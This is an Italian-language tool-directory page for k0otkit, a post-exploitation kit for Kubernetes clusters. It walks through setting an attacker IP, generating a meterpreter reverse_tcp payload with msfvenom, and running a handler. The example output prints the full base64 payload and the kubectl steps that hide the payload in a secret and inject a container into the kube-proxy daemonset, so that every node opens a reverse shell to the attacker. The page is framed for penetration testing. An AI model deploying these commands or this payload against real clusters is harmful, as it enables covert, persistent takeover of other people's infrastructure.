Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
k0otkit — k0otkit è una tecnica universale di post-penetrazione che può essere utilizzata in penetration test contro cluster Kubernetes. | Kitploit
Strumenti/GitHubGitHub/metarget/k0otkit
Sicurezza dei ContenitoriGenerazione di PayloadReverse EngineeringPost-ExploitPenetration TestingCommand and ControlRed TeamingEscape dal Container
GitHubmetarget/k0otkit

k0otkit

k0otkit è una tecnica universale di post-penetrazione che può essere utilizzata in penetration test contro cluster Kubernetes.

Vedi Repository
30051695 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

k0otkit - Manipola K8s in stile K8s

Introduzione

k0otkit è una tecnica universale di post-penetrazione che può essere utilizzata in penetrazioni contro cluster Kubernetes.

Con k0otkit, puoi manipolare tutti i nodi nel cluster Kubernetes target in modo rapido, nascosto e continuo (reverse shell).

k0otkit è la combinazione di Kubernetes e rootkit.

Prerequisito:

k0otkit è uno strumento di post-penetrazione, quindi devi prima conquistare un cluster, in qualche modo riuscire a fuggire dal container e ottenere il privilegio di root del nodo master (per essere precisi, dovresti ottenere il privilegio di amministratore del Kubernetes target).

Scenario:

  1. Dopo la penetrazione Web, ottieni una shell del target.
  2. Se necessario, riesci ad aumentare il privilegio e ce la fai.
  3. Scopri che l'ambiente target è un container (Pod) in un cluster Kubernetes.
  4. Riesci a fuggire dal container e ce la fai (con CVE-2016-5195, CVE-2019-5736, docker.sock o altre tecniche).
  5. Ottieni una shell root del nodo master e sei in grado di impartire comandi al cluster con kubectl sul nodo master come admin.
  6. Ora vuoi controllare tutti i nodi del cluster il più rapidamente possibile. Ecco k0otkit!

k0otkit è descritto in dettaglio in k0otkit: Hack K8s in a K8s Way.

Utilizzo

Assicurati di avere la shell root sul nodo master del Kubernetes target. (Puoi anche utilizzare k0otkit se hai il privilegio di amministratore del Kubernetes target, anche se potresti dover modificare il comando kubectl in k0otkit_template.sh per usare il token o la certificazione.)

Assicurati di aver installato Metasploit sul tuo host attaccante (msfvenom e msfconsole dovrebbero essere disponibili).

Distribuisci k0otkit

Clona questo repository:

git clone https://github.com/brant-ruan/k0otkit
cd k0otkit/
chmod +x ./*.sh

Sostituisci l'IP e la porta dell'attaccante in pre_exp.sh con il tuo IP e la tua porta:

ATTACKER_IP=192.168.1.107
ATTACKER_PORT=4444

Genera k0otkit:

./pre_exp.sh

k0otkit.sh verrà generato. Quindi esegui il gestore di reverse shell:

./handle_multi_reverse_shell.sh

Una volta che il gestore è pronto, copia il contenuto di k0otkit.sh e incollalo nella tua shell sul nodo master del Kubernetes target, quindi premi <Enter> per eseguirlo.

Aspetta un momento e goditi le reverse shell da tutti i nodi :)

P.S. Non c'è limite a quanti cluster Kubernetes puoi manipolare con k0otkit.

Interagisci con le Shell

Dopo la distribuzione riuscita di k0otkit, puoi interagire con qualsiasi reverse shell come desideri:

# dentro msfconsole
sessions 1

Caratteristiche

  • utilizzare risorse e funzionalità di K8s (hackerare K8s in stile K8s)
  • iniezione dinamica di container
  • crittografia delle comunicazioni (grazie a Meterpreter)
  • senza file

Esempio

Genera k0otkit:

kali@kali:~/k0otkit$ ./pre_exp.sh
+ ATTACKER_IP=192.168.1.107
+ ATTACKER_PORT=4444
+ TEMP_MRT=mrt
+ msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.107 -f elf -o mrt
++ xxd -p mrt
++ tr -d '\n'
++ base64 -w 0
+ PAYLOAD=N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
+ sed s/PAYLOAD_VALUE_BASE64/N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw/g k0otkit_template.sh

Esegui il gestore di reverse shell:

kali@kali:~/k0otkit$ ./handle_multi_reverse_shell.sh
payload => linux/x86/meterpreter/reverse_tcp
LHOST => 0.0.0.0
LPORT => 4444
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 0.0.0.0:4444
msf5 exploit(multi/handler) >

Copia il contenuto di k0otkit.sh nella tua shell sul nodo master del Kubernetes target e premi <Enter>:

kali@kali:~$ nc -lvnp 10000
listening on [any] 10000 ...
connect to [192.168.1.107] from (UNKNOWN) [192.168.1.106] 48750
root@victim-2:~# volume_name=cache

mount_path=/var/kube-proxy-cache

ctr_name=kube-proxy-cache

binary_file=/usr/local/bin/kube-proxy-cache

payload_name=cache

secret_name=proxy-cache

secret_data_name=content

ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')

volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')

image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')

# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
  name: $secret_name
  namespace:volume_name=cache
root@victim-2:~#
root@victim-2:~# mount_path=/var/kube-p kube-system
type: Opaque
data:
  $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
EOF

# assume that ctr_line_num < volume_line_num
# otherwise you should switch the two sed commands below
Scarica lo strumento